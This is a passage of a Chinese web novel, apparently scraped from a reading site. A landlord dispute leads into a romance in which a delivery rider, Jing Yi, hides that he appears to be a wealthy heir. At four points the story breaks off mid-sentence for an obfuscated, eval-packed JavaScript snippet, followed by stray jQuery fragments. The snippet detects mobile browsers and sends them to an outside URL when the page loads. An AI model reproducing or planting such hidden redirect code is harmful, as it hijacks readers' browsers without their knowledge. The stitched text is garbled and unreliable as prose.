他们不赔,刘强说那也可以,念及情分,会将他们原先的租金上调百分之三十,抵这个违约金。 他们仍不同意,刘强.暴怒之下开始砸店——专挑便宜的东西砸,甚至作势要动手打人。最后闹到了派出所,他才作罢。 陶姜那会焦虑得半夜都打着台灯,一字一句思索刘强带来的合同,还发帖请教过网友意见。 好不容易看懂了,又来了份新的。 她蹙眉间,手中忽然一空,抬头发现景逸不知何时走过来,抽走合同。 离得近了,她清楚地看见景逸有些脏兮兮的黑色背心,上面混杂着两人的血迹,她手上的,和他摔车时留下的。 衣服堆满褶皱,不太好看,他整个人也有些倦容。外面那层白衬衫很薄,袖子高高束起,没系纽扣,深刻的锁骨上有一道刚刚结痂的血痕。 景逸来回翻了翻,侧了个身,面朝刘强:“你是二房东?” 陶姜微愣,刘强的确是二房东没错,他就是趁着原房东远在国外,才肆无忌惮地逼迫商户们交高昂的租金。 他们曾经试图联系过原房东,但都失败了。 景逸是怎么知道的?合同上也没写,刘强是二房东。 “老陶啊,你还说这不是你找来的人?你给我下的套?”刘强快气晕过去,避而不答,“一个客人,能管这么多闲事!” “谁让你打我了。”景逸气定神闲道,“我就想给你找点不痛快。” “……” 刘强脸色变了好几番:“这合同是商业机密,你一个外人看,是违法的——” 话音未落,景逸把合同轻拍在刘强胸口上。 单薄的纸张哗啦啦掉下来,洒在地面上,他语气戏谑。 “租赁期内出租人不得单方面提高租金,除非双方协商一致。” “你这合同上,写了租期一年,租金每季度支付——重点是租期一年,合同还没结束。” “你凭什么涨租?” 景逸说话慢条斯理,不知为何却呈现出一种咄咄逼人的气势,陶姜在此刻突然很想看看,他是什么神色。 镇定,还是嚣张? 她暗自感慨,他竟然懂这些。 “我、我们都是按每个季度算的!你去看看市场,大家都在涨价!”刘强急忙反驳,蹲下.身去捡合同。 其中一张莫名就被景逸踩在脚下,他用力一抽,没能抽出来,抬起头,看见景逸似笑非笑的脸。 景逸问:“违约金要赔多少来着?” 陶姜适时出声,报了个数字。 她知道刘强的脾气,主动递台阶:“刘叔,现在做生意都不容易,我们按时交租,维护店面,也是为你省心。真的闹上法庭,你赔这个违约金,不划算。” 刘强气势已经矮了半截,没说话。 陶姜跟着沉默了一会,引导:“您再考虑一下,行吗?” “……行吧行吧。”刘强不耐,悻悻道,“我是看在老陶的面子上,暂时……就先算了吧。” 景逸慢腾腾移开脚,走到旁边伸了个懒腰,刘强拽出合同,猛地起身。 他想恶狠狠剜景逸一眼,可对方身上的气质实在不太好惹;又去看陶姜,她神情温良无害,察觉他目光后微不可查地上前,挡住陶爸,笑了一下。 陶姜留他吃饭,刘强立刻拒绝,走出去把车门摔得震天响,离开农家乐。 他一走,景逸卸了力气,倒进身后的椅子里,甩了甩右手,绷带上的血迹又晕开一些。 陶姜说:“谢谢你——不过,以后尽量不要跟这种人动手,不值得,他已经盯上你了。” 景逸哼了一声。 陶姜好奇地问:“你是怎么知道这些的?” 合同扫了一眼就能发现漏洞。 气势也不输人。 大多数商户们都做不到。 他们毕竟是租户,刘强是房东,命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823609|191061||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脉天然被捏在房东手里。 刘强脾气暴躁,惯会使阴招,一套组合拳下来,商户们往往都是无奈答应涨租,或交了违约金走人。 唯独景逸并不怯场,有理有据。 陶姜不熟练地开玩笑:“你大学法学专业的?” 景逸:“你怎么知道?” 陶姜:“啊?” 陶爸:“嚯!” “你忘了我爸妈的事么。”景逸抱着手臂,歪头笑,几分邪气,“他们被诈骗,官司都是我帮忙打的。” 一个大学法学专业、父母却被诈骗负债、进入社会后还送起了外卖的男人。 认清这个事实,陶姜有几分迷茫:“你……官司打赢了吗?” 景逸卡了一下。 要是打赢了,应该不至于沦落到这种境地。 “输了。” 陶姜和陶爸面面相觑。 陶爸:“小伙子,那你刚才到底是鬼扯的还是认真的?” 景逸道:“当然是认真了。那合同本来就经不起推敲,对方也心虚。我建议你们准备一份新合同,有备无患。” 他说到这,陶姜才有了“景逸真的帮他们避免了涨租”的实感,忙道:“谢谢你了,这么早,你还没吃饭吧?不然留下来一起吃。” 景逸还没说话,陶爸已经热情地劝他留下。陶爸话多,景逸开口了几次都没找到插话的机会。 见状,陶姜心里笑笑,回屋把陶爸做好的饭摆在桌子上。 没两分钟,陶爸搭着景逸的肩,两人说说笑笑,拂开帘子走进来。就这么一会,俨然一副好兄弟的架势。 景逸双手的绷带变得七零八落,陶姜取出医药箱,等他重新包扎完,三人才一起开饭。 陶姜想起什么,问:“昨天晚上,你没住在民宿吗?” “那民宿倒闭了。”景逸意味深长地看她一眼,反问,“你不知道?” 陶姜呆住,下意识看向陶爸,陶爸咽下嘴里的鸡蛋,跟她解释:“你秀阿姨觉得环境太恶劣,搬走啦。也好,她那么聪明,去别的地方说不定能干起来。” 陶姜放下筷子:“什么时候的事?” “昨晚九点。”景逸懒洋洋答,“我来找你之前,她就关门了。” 陶姜盯着自己的筷子。 尴尬后知后觉蔓延心头。 所以,景逸来问她可不可以住宿时,已经知道附近唯一的民宿关门了。 她还没让他住。 情况特殊,重来一次,陶姜还是不会让他留下。 陶姜:“那你昨晚睡在哪?” 景逸:“哦,就在你家大门外,随便找了个角落,靠着摩托车睡的。” 陶姜默然。 景逸:“你不用担心,很安全,没人经过,就是有好多虫子、蚂蚁,不停地咬我,挺疼的。” 陶姜:“……” 景逸:“真的没事,不过后半夜特别的冷,幸好我箱子里有一件衬衫。啊,我好像感冒了——” 他偏头,低低打了一个喷嚏。 陶姜仍不语。 景逸手指在桌面上敲了敲,陶姜抬起头,他诚恳地道:“你别自责,我没关系的。” 5. 5 陶姜本来没自责,这下有点自责了。 她望着坐在对面的景逸,轻声说:“不好意思啊。” 景逸闷头,咳嗽起来,肩膀止不住发抖。 陶姜只能看到他一头被压得乱糟糟的卷毛,一双耳钉藏在两边抢眼地闪,虽然看不到他的脸,但肯定很痛苦,毕竟都感冒了。 “你还好吗?”陶姜把纸巾盒推到他手边,说,“吃完饭我去帮你买感冒药。” 景逸瞬间咳得惊天动地,陶爸见状,用力一掌拍在他背上,帮他顺气——景逸咳得更厉害了。 陶爸:“你们聊什么呢,我听不懂。” 陶姜闻言解释了几句,陶爸语气复杂:“小逸,你家这么困难,早说啊。你帮了叔叔这么大的忙,叔叔的店你随便住,住到倒闭为止!” 陶姜提醒:“别说不吉利的话。” 景逸拒绝道:“住宿的钱我还是有的,谢谢叔愿意收留我。” 陶爸还想劝,陶姜在桌子下踢了他一脚。 人都有自尊心。 以后不收钱就是了。 陶爸会意,兴许是觉得这样不足以表达他对景逸的感谢,又道:“你出来工作这么久,一定很辛苦,叔叔中午带你们去市区好好放松一下。” 陶姜:“爸,你要干嘛?” “就你很想吃的那个餐厅,咱们三个去吧,嘿嘿嘿。” “太贵了,钱要好好攒起来。” “害,我昨天去市区拉货,特地找熟人要了内部优惠券,刚好三张。”陶爸神神秘秘,“人家有急事才去不了,票明天就要过期了。” 一听用人情换来的票还可能会被浪费,陶姜有点犹豫,内心打架:“虽说今天是工作日,生意不好,可也不能应付。咱们还是留在店里,做些招牌菜招待景逸。” 景逸不知道有没有在听,卷了三张玉米饼:“对。” 陶爸:“听我的!你们都好久没有出去玩过了,小春那丫头约你约不出来,找我抱怨好几次;小逸手机碎成这样,不要上市区修啊?” 景逸:“对。” 陶姜想给景逸一脚。 她看向景逸,后者头也不抬,盘子里的玉米饼已经空了——老爸的手艺很好,郊区附近只剩下他们一家餐饮店,景逸在这边应该没吃过什么好吃的。 最终,陶姜还是应下来。 用完早饭,陶姜去仓库给景逸找了个旧手机。 旧手机经常闪退和掉帧,好歹比景逸摔报废的手机强一点。 陶姜把它递给景逸时,它竟然任性地直接关机了。 真奇怪,在她印象中,旧手机明明没有卡到这个地步啊。 她上学时,爱惜地用了很久的。 陶姜默默鼓捣了好一会,旧手机才不情不愿地开了机。 景逸接过来,眉眼疏懒:“谢谢,你们也帮了我大忙。” “没事。”陶姜摆手,“你……努力驯服它一下吧。” 她观察景逸,对方并没有嫌弃或烦躁的情绪,下好外卖软件后,就一遍遍不厌其烦地尝试登录。 见他接到订单,陶姜叮嘱,到了中午的约定时间记得早点回来,以及,注意安全。 景逸应下,跨上摩托车离开。 陶姜去了厨房。 陶爸一向重义气,这顿饭不让他请,他会难受地惦记很久。 她跟陶爸确认:“我记得你中午有兼职,来得及吗?” 陶爸坐在小板凳上,边择菜,边说:“哎呀,我昨天就请假啦,你别操心。” 昨天就请了假——昨天还没发生景逸见义勇为的事呢。 陶姜一下明了,把她爸挤走,接过盆子里的菜。 那家餐厅人均消费不低,陶家经济最好的时候,也只是偶尔去。 陶姜喜欢里面的口味、布置。她以前年纪小,不懂得隐藏情绪,后来哪怕说不喜欢,陶爸也不相信。 三张票,他原本应该想叫上她的大学室友阮春。 陶姜大学毕业近一年,只顾忙店里的事,和阮春没见过几面。阮春性子直,就这个问题吐槽过许多。 “吃完饭,我陪小逸去修手机,你叫上小春去逛街。” 陶爸突然出声,陶姜吹开黏在唇边的头发,抬头,罕见地看见他竟然在厨房拿出手机。 下一秒,她口袋里就震了一下。 陶姜的手机同时负责店里的外卖,提示音格外嘹亮。 「支付宝到账:3000元。」 陶姜愣住。 陶爸的表情有些无措。 “哎……算了,反正,你跟小春好好玩,缺钱了再跟爸说。小逸应该也会去找朋友,你们都好好玩,尽兴了咱再回家,啊。” - 临近中午,熟悉的引擎声在院子里响起。 景逸回来的比约定时间早很多,可能是没单了。 天热得流油,陶姜一只手在外卖平台上下线,一只手拿干毛巾裹着冰袋,冰敷眼睛。 苍白的布帘被掀开,景逸走进来,携一种极烫的气息,滚滚地烤着空气中的尘埃。 他问:“可以在这洗个澡吗?” “可以。”陶姜闷着声音,给他指方向,“二楼东边第一间,已经打扫好了,进去有淋浴间。” “谢谢。”景逸不明显地打量了她一秒,也可能是两秒,然后摸了摸自己身上。 他拿出六百块钱,有零有整,全放在她桌子上。 “现金只有这么多,剩下的等修好手机,我再给你。” 他补充道。 “我先租一个月。” 没等陶姜反应过来,景逸已经从前台经过,走上楼。 他肩宽腿长,速度上占尽优势,倏忽消失在她的视线里,像夏天一打眼捕捉到的蝉。 今天是怎么了? 一个两个都要给她钱。 陶姜把六百块放回抽屉里。待会还要在一起吃饭,不适合客套,等明天还给他吧。 三人简单收拾完,陶爸开车,陶姜和景逸坐在后排,前往市区。 陶姜一直看着窗外。 她晕车,任何封闭的车都晕,总能闻到一些细小古怪的气味。 陶爸特地将她这边的窗放开,但想到景逸感冒,陶姜默默将车窗升上去了一点,只留一道缝。 都说晕车的人视线不能在两边,最好看着前方。陶姜做不到,她喜欢将身子蜷缩,这个姿势歪头盯着车窗更舒服。 她在“有点想吐”和“有点开心”两个心情中打转。 因为晕车,陶姜接手店中的事后就很少去过市区,即使去也是帮忙拉货。偶尔两次,货卸完还有空闲,她会赶时间和阮春见面。 专程来市区玩,还真是第一次。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823610|191061||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更晕了,陶姜的头越垂越低,希望自己快点睡着,或者昏迷。 突然,一阵大风从右边吹了进来,萦绕在鼻尖那股若有似无的怪味,顿时消失了很多,取而代之的是清浅花香。 陶姜的脑袋动了动,往旁边看去。 景逸把车窗调至最低,才松开手。他刚洗过澡,头发半干不干,被风吹成放肆的一片,在阳光下根根分明。 “你这样,感冒会加重的。”陶姜忍不住道,“而且湿着头发,不能冲风。” 景逸直接把衬衫脱了,罩在头上,装死。 他昨晚睡的地方拘束,估计没睡好,过了两分钟,陶姜听见衬衫底下传出一点微弱均匀的呼吸声,他竟然就这么睡过去了。 “爸。”陶姜戳戳前排人的肩膀,悄声,“你把景逸那边的车窗升上去一半,一半就行。” 陶爸照做。 陶姜维持着原先的姿势,望着车窗外。这次她好受了许多,渐渐开始注意到,玻璃上映出景逸的影子。 他身高腿长,缩在车子角落睡,看上去很委屈。 陶姜盯着,眼皮沉重,被困意拖入梦境。 她不知自己睡了多久。 再醒来时,车子已经停下,陶爸轻声喊她:“姜姜,你拍拍小逸,那孩子怎么都叫不醒。” “哦。”陶姜屈起指节,撑了一下眼梢,意识回笼,她伸手把景逸的衬衫稍微往下拉了拉。 太阳照在他露出的侧脸上。 景逸睁开眼:“到了?” “嗯。”陶姜从另一侧下车。 车子停在室外的停车场上,她一抬头就能看见餐厅。 她和陶爸走出去了几步,才发现景逸坐在车上没动。 陶姜走回去:“怎么了?不舒服?” “没。”景逸扫了一圈外面的光景,陶姜下意识顺着他的目光看去,看到了正在站岗的保安、大门口的迎宾,很寻常,没有什么需要特别注意的。 陶姜催促:“那你下来啊。” 不知怎么,她觉得景逸的表情有点奇怪,介于平静和微妙之间。 景逸:“你们说的餐厅,就是融泰?” 陶姜:“对。” 她心中的古怪感更重,看见景逸脸上的变化也更重了。 但她说不出那是什么。 景逸慢吞吞道:“融泰不好,要不换一家。” 陶姜莫名其妙:“融泰怎么不好了?” 融泰在全国范围内都是知名度很高的一家中餐厅,定位中高端,环境和口味几乎挑不出错处。陶姜经常在网上刷到他们家的探店。 景逸:“融泰很差劲。” 陶姜:“你去过?” “怎么可能?”景逸脱口而出,迅速补充,“我看它网上的评价不好。” 是吗,那她怎么没刷到过? 陶姜耐心地说:“那些不一定准的,你去一次就知道了。” 景逸说:“太贵了,还是不破费了。” “来都来了。你帮了我们这么大的忙,一顿饭算什么,就当给我们一个感谢的机会。” 景逸还要推辞,陶姜转头看了看,陶爸已经走到了大门处,顶着毒辣的日头,一脸疑惑地望着他们。 她彻底失去耐心,拉开车门,咬牙小声说:“——现在下来,景逸,你别净事儿。” “……” 6. 6 下车之前,景逸还煞有其事地问:“有没有口罩?帽子也行。” “这里有你仇家在追杀你?”陶姜不解,还是下意识翻了翻随身的包。 她没带口罩,但为了搭配今天这身姜黄色的长裙,缓缓拿出一顶缀着郁金香花饰的草帽。 帽檐上还有一圈绿色的缎带,十分可爱。 两人四目相对,景逸很轻地顶了一下腮,说:“这个……也行。” 陶姜直接把草帽塞进对方怀里,催他下车。 走到大门处,陶爸远远地看见景逸,一脸迷茫和欲言又止。 景逸主动解释道:“我防晒。” “这样啊。”陶爸摸了摸裤袋,热情地掏出一瓶防晒霜,“来,我给你挤一泵,不然你个大小伙子戴花草帽有点……” 骚。 景逸长着一双断眉,双眼皮,五官明朗利落,是那种直白的好看。某些角度瞥人时,眼神里会透出一股不自觉的攻击性;就连笑起来,也总显得不太正经。 这样一个人,顶着一头蓬松卷翘的头发,戴着耳钉,还压了顶花草帽在头上,实在充满了奇妙的违和感。 他身上还是昨天的黑背心和工装裤,但洗澡时应该顺带洗过了。衣服在车上时还带着湿意,这会儿水分早已被空气蒸发干,干净又闲散。 陶爸握着小小一瓶防晒霜,就要往他手里挤。 景逸退后一步:“不用。” “啊?”陶爸愣了愣,视线往上,“可你涂了防晒霜,就不用戴这顶帽子了啊。” “我还……防秃。”景逸道。 气氛静了两秒。 反应过来后,陶爸手中的防晒霜空了,被陶姜接走。她往自己手上挤了两泵,一边擦,一边忍笑拉开她爸:“……你别管了。” “现在的年轻人……不错。”陶爸语气赞赏,小声道,“男人确实都这样,防脱发要趁早,从细节做起。” 陶姜:“快别说了。” 三人来到露台的位置坐下,陶爸有意和景逸坐在一边;陶姜单独坐着,翻看菜单。 中途,服务生上来添茶,频频往景逸的方向看。 陶姜起先以为她在看景逸的花草帽,没太关注。 直到,景逸突然将帽子往下拽了拽,完全挡住脸,但反而使那朵硕大的郁金香更明显了,笨拙又奇葩。 “这位先生看起来好眼熟。”服务生忍不住问道,“是姓景吗?” “……” 见景逸不说话,陶姜便主动问:“眼熟?是像谁呀?” “像我们大老板的儿——” 最后两个字没能听清,因为景逸开始猛烈地咳嗽起来。 陶爸正在喝水,被他突如其来的动静吓住,震惊道:“这小伙的感冒是不是又加重了啊?” “没事,我带药了。”陶姜把包的扣子解开,边拿感冒药,边怀疑地看服务生,“像你们老板?” “不是不是。”服务生连连摆手,“我们大老板都四十多岁了,我是觉得,他特别像我们大老板的……” 啪。 不轻不重的一声。 服务生止住话音,所有人转向景逸。 那顶花草帽被放到了桌上。 正午时分的光线照射进来,将景逸袒露的全貌照得清楚。 服务生的目光从他的断眉、再到浅色瞳孔、最后到挺直的鼻梁和要笑不笑的唇,来来回回,上上下下,打量好几遍,惊诧道:“啊,你你你你你你你你不就是少……” “初次见面。”景逸唇角挑起笑容,表情淡淡道,“你好。” 服务生:“?” 陶姜快速和陶爸对了一个眼神。 -发生什么了? -不知道。 “我第一次来这家餐厅。”景逸抽出压在盘子下的菜单,翻了一页,彬彬有礼地问,“有没有什么推荐的菜品?” 服务生安静了好一会。 再开口时,语气变得谨慎。 “如、如果您是第一次来,那葱烧海参、文思豆腐羹、黑松露烤鸡,都是不错的选择……” “谢谢。”景逸放下菜单,慢腾腾摇晃杯中的茶水,“第一次来,不太了解。” 服务生点头如捣蒜,重复:“您第一次来……” 气氛变得尴尬。 陶姜忙主动转移话题,问对面两人的口味;服务生不再说别的,依言划完菜单,就鞠躬离开。 她一走,陶爸作势就要询问景逸,陶姜及时打断他:“爸,你帮我拿一个新杯子。” “哦,哦。”陶爸对上她的眼神,心下了然。 陶姜接过杯子,撕开感冒药包装,将药和热水倒进去,搅拌后推向景逸的位置。 景逸已经重新戴上了帽子,趴在桌子上,右手支起来,挡住那朵郁金香。 “喝药吧。”陶姜提醒他,“景逸。” 景逸:“谢谢。” 陶姜:“不客气。” 她像刚才的事没发生过一样,开始跟陶爸说起店中的情况,两人聊了一会,话题又自然而然转到景逸早上帮忙的事情。 要不是还得开车,陶爸看样子真要和景逸不醉不归。三人都不碰酒,饭桌上的氛围依然算得上愉快。 只是,陶姜留意到,接下来每一位上菜的,都是不同的服务生。 她们第一时间都要往景逸的方向看一眼,接着才若无其事地离开。 买单时,经理甚至亲自过来,表示他们这桌是幸运顾客,可以打六折。 这六折没让陶姜高兴起来,反而有些隐隐的不安。 但她又舍不得拒绝,虚情假意地客套:“太麻烦您了,菜都送了我们好几道,现在还打折……” “小事,小事。”经理的目光不经意地掠过景逸,笑容殷勤。 陶姜跟着朝景逸看了一眼,心中的疑惑更加明显。 更疑惑的还在后头。 他们准备离开,走进电梯时,陶爸发现车钥匙忘带了,还有点想上厕所,便让他们先下去。 于是电梯里只剩下她和景逸两人。 身后,景逸呼出口气,总算摘下了一直戴在头上的草帽。 陶姜在心里数着下落的楼层。 “叮”一声,电梯下到五楼时,门开了,一个中年男性走进来,提着公文包,表情严肃,领导模样。 中年男粗略地扫了两个年轻人一眼,站在最前面。 电梯门合上,继续下落,两秒后,他忽然就转过头,一脸惊喜地看着景逸:“哎哟,这不是景总吗?” 景总? 陶姜脑子里惊涛骇浪,脸上却无比平静地看向景逸。 后者的视线落在不知名的角落,面无表情,仿佛根本就不认识中年男。 中年男伸出手来:“小景总,今天在这里遇到您,真是我的荣幸,我太激动了,您还记得吗?你妈的……” 陶姜惊了一下。 怎么突然骂人? 中年男的手抽了一下嘴巴,自知失言,只是还未来得及补充,“叮”一声,电梯门在二楼打开。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823611|191061||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>门外还站着人,没等陶姜看清他们的脸,一阵力量强行卷过来。 景逸抓着她的手,冲出了电梯间。 陶姜:“?!” 她想提醒景逸,这是二楼,他们要去的是一楼! 她听见中年男道:“景总!小景总,不好意思!我刚才是想说……” 也听见等在电梯门口的人抱怨:“天哪,这什么人哦,一点安全意识都没有的,撞疼我啦!” 陶姜仓促间回道:“对不起!” 然后就什么都说不出了。 景逸速度太快,陶姜甚至以为正坐在他的摩托车上,下一秒就要因为超速被交警拦下。 但这里没有交警,景逸肆无忌惮地一路狂奔,陶姜感觉自己的双腿和肚子里的饭都快飞起来了,被牵着的那只手像上了手铐,痛,还磨得慌。 没过多久,景逸便停下,陶姜却觉得时间像过去了一个世纪。 她垂下头,深深喘息,身子靠在栏杆上,干呕了一下。 景逸不知把她带到了哪个楼梯间。 力气这么大,幸好昨晚没留他住宿。 不同于她的狼狈,景逸跟个没事人似的,他把楼梯间的门关上,转头对上陶姜苍白汗湿的脸,还好意思惊诧:“你体力这么差吗?” 陶姜体力当然不差,毕竟是天天在厨房里抡大锅的人,她虽然瘦,但手臂上也有一点肌肉。 这人真是不讲理,自己在猝不及防的情况下被他拉出去,只能跟着他的节奏,他竟然还嘲讽她体力差。 陶姜撑着栏杆,又干呕了一下。 “这是重点吗?”她缓了一会,有点生气,质问,“你为什么跑?就因为那个人叫你景总?” 景逸的表情总算出现了点不自然。 陶姜也慢慢反应过来:“你该不会……真的是?” 虽然她并不知道,景总是个什么总。 反正是个总就行了。 话音刚落,景逸唇角微微下压,声音平缓,解释道。 “不是,那是他阴阳我的。” 陶姜:“……你觉得我信吗?” “你不信就算了。”景逸扯了一下唇,笑容勉强,“他还骂我,你没听到?” 这个倒是听到了。 陶姜安静下来,没忍住蹙眉,她倒不觉得景逸真的是那个总,哪怕景逸亲口承认了,她都不太信。 如果景逸真是什么位高权重的“景总”,那他送什么外卖?来什么郊区? 摔车摔到遍体鳞伤,手臂血肉模糊,爬起来的第一时间还是要去送餐;没有地方住,只能在她家的大门外随意挑了一个角落,吹着冷风,靠着摩托车睡,一觉醒来还感冒。 陶姜不禁想起今天来这里的目的,就是为了感谢景逸。 她心便渐渐地松了下去,看着景逸手臂上缠满的绷带,白里透红,一时愧疚也漫了上来。 不该这么问的。 “我不想下车,是因为这里曾经是我打工的地方,怕被熟人认出来,给你们丢人。” “那个男的,我爸妈曾经向他借过钱,但没还,直接跑了。他就打我,逼我还钱,我很努力地还了一半,可还是差一半。” “刚才看见他伸手,我以为他要出拳,太害怕了,才拉着你跑的……抱歉。” 听完他的解释。 陶姜瞬间满心同情。 她叹气,走过去,不熟练地在对方肩上拍了一下,柔声安慰道:“对不起对不起,是我没搞清楚,误会你了。你千万别放在心上,嗯?” 7. 7 陶爸坐在车里纳闷地等了许久,提前打好的空调气息将整个车子占满。 他偏头打了个喷嚏,终于看到陶姜走过来,拉开车门。 陶姜揉着手腕坐下,景逸紧随其后。 “怎么这么久啊?”陶爸随口问道。 “嗯。”陶姜垂着头,“去上了个厕所。” 陶爸又问:“冷不冷?” “有点。” “小逸呢,觉得冷不冷?空调温度会不会太低?” 景逸看了陶姜一眼,斟酌道:“有点。” 陶爸笑笑,将温度调高。 三人商量了下午的行程,陶爸陪景逸去修手机,陶姜和好友阮春聚会——确认都没问题,就约定好彼此结束的时间。 车在一处商场门前停下,陶姜下了车。 人流声嘈杂,陶姜戴着那顶漂亮的花草帽,安安静静地站在阴凉地等了一会,没多久便看见阮春。 “姜姜!”阮春一下车,朝她扑过来。 陶姜一眼看见她穿的是高跟鞋,忙走过去挽住她手臂,叮嘱:“小心点。” “知道了知道了,都毕业了,你这寝室长操心的习惯还是不改。”阮春笑嘻嘻靠在她肩头,想念地来回蹭了蹭,“走,我们先去看电影。” 陶姜应声。 距离电影开场的时间还早,她们先逛了一会商场。 阮春挑中一条裙子,询问陶姜的意见,陶姜认真说:“很美,抬得你肤色更白了。” 阮春高高兴兴地买单,不忘问陶姜:“你不试试吗?这家店的衣服还不错。” 确实不错,价签也很“不错”。 陶姜眼也不眨:“不用。” 阮春脚步一顿,目光在陶姜脸上打了个转,又随手试了两件衣服,便兴致缺缺地放下。 她反手拉住还在卖力夸赞的陶姜,走出店门,压低声音问:“你什么情况,不至于这么省吧?你家店终于倒闭了?” 习惯了她的直爽,陶姜有点无奈地答:“没有。” “要我说,赶紧倒闭算了,你爸净拖累你。” 没察觉到陶姜微妙的神色,阮春自顾自继续。 “之前那份工作多好啊,你说辞就辞,不然凭你的能力,现在肯定已经晋升了。我跟你说,长痛不如短痛,你回去劝劝你爸,还是及时止损……” “我生气了。”陶姜打断她。 “嘿,说你还不乐意!对不起啦,美女请你喝奶茶。” 陶姜没让她请。两人买了小甜水,聊了一会同学八卦,来到电影院检票。 落座后,陶姜才发现,这是一部美食动画电影,中间主人公还详细地讲解了不同种类的菜应该如何保鲜。 其中有两个说法,陶姜第一次听到,她打开手机,调低屏幕亮度,在备忘录记下内容。 阮春凑过来一看,无语了。 她直接把陶姜的手机拿走,道:“我替你保管,免得你影响我的观影体验。” “好吧。”陶姜已经记完了,随她去。 结果电影看到一半,不停翻着手机的人变成了阮春。 她中间出去接了个电话,再回来时神色愧疚,小声解释道:“工作上有急事,现在必须得回去——对不起啊姜姜,下次我主动去找你,好吗?” “工作重要。”陶姜垂脸,替她抚平折进去的衣角。 “唉,这老板真是操蛋,宝贝儿我心里替你骂死他,你等我们下次见面哈。” 说着,阮春背起包,正要离开,陶姜叫住她,提醒:“我手机。” “哦哦。”阮春忙拿出来给她,时间真的来不及了,她脚步声都来不及控制,很快噔噔噔离开。 剩下陶姜一个人,原本有趣的电影也变得乏味。 她枯坐了一会,等不到电影结束,就站起身,沿着阮春刚刚跑过的路线,慢吞吞走出电影院。 陶姜顺便给陶爸发消息,告诉他这边已经结束了。 陶爸几乎是秒回:「那我们来接你?你不知道景逸这孩子有多可怜,连个朋友都没有,我们只买了个新手机就没事干了。」 陶姜收到消息时还有点惊讶,景逸看起来是人缘颇好的模样。 又想起初见时,他浅色的眉眼冷淡地扫过来,气质散漫,明明背挺得很直,体态极好,却无端给人一种松松垮垮的感觉,还蛮有个性。 这样的人,选择独来独往,似乎也正常。 陶姜:「我现在下去。」 她步伐快,没两分钟便跟陶爸他们汇合。 落座后排时,下意识看了一下景逸。 景逸的目光抬起来,刚好跟她对上。他弯起眼睛,笑意未达眼底,清隽又好看。 陶姜冲他点了点头,收拢视线。 现在五点多,算算回去的话还能赶上一波晚高峰,再多卖些单子。他们便决定返程。 路上,陶爸打趣道:“小逸跟个少爷似的,一进店直奔最贵的新款手机,二话不说就要付款,结果,你猜怎么着?” 陶姜很给面子:“怎么着?” “银行卡余额不足,哈哈哈哈哈哈哈!” “……” 陶姜往身旁看去。 两人距离挺远,几乎是一人占着后排的一边。 景逸抱着手臂,头靠在透明的车玻璃上,被震得一晃一晃。 察觉她的目光,他懒懒地掀开眼皮,看向她。 少顷,那双眼睛开始黯淡,唇角平直,语气有些失落地和她解释道:“我穷惯了,虚荣心作祟,想要个好点的手机,让你和叔叔见笑了。” 陶姜心里叹息,安慰:“你放心,你以后肯定会有最好的手机。” 他嗯了一声,仍意兴阑珊。 陶姜看了看他腿上放着的新手机,知道肯定是旧的不能用了,毕竟摔成那样。他花钱买新的,心里难受也正常。 她不知道,景逸的身子渐渐往下滑,眼睛也合上。 心道。 好困啊。 - 往后两天,淅淅沥沥地下过一场小雨,气温变低,阴云不散,视野都变得雾蒙蒙的。 陶姜偶然得知了又有一家店搬离的消息。 现在,这里只剩下陶然山庄和不远处的一家摄影店。 傍晚六点钟,陶爸请了摄影店的老板来店中吃饭,对方连客套都没有一句,直接答应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823612|191061||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 陶姜能感受到他们的害怕,她自己心中也是如此。 光凭两家店,又能在这里支撑多久?只要再有一家店撤出,另外一家就也离关门不远了。 此刻聚在一起吃吃饭,说说话,无疑能缓解一些紧绷的情绪。 摄影店的老板姓陈,三十出头,还很年轻。陶姜记得他刚来这里时的傲气,扬言要成为整个片区最牛的摄影店,现在却情绪不高,苦笑着问陶爸:“上头的人找过你了么?” 陶爸张了张嘴,没发出声音来,只连连叹气。 陶姜替他回道:“找过了,劝我们搬走。” 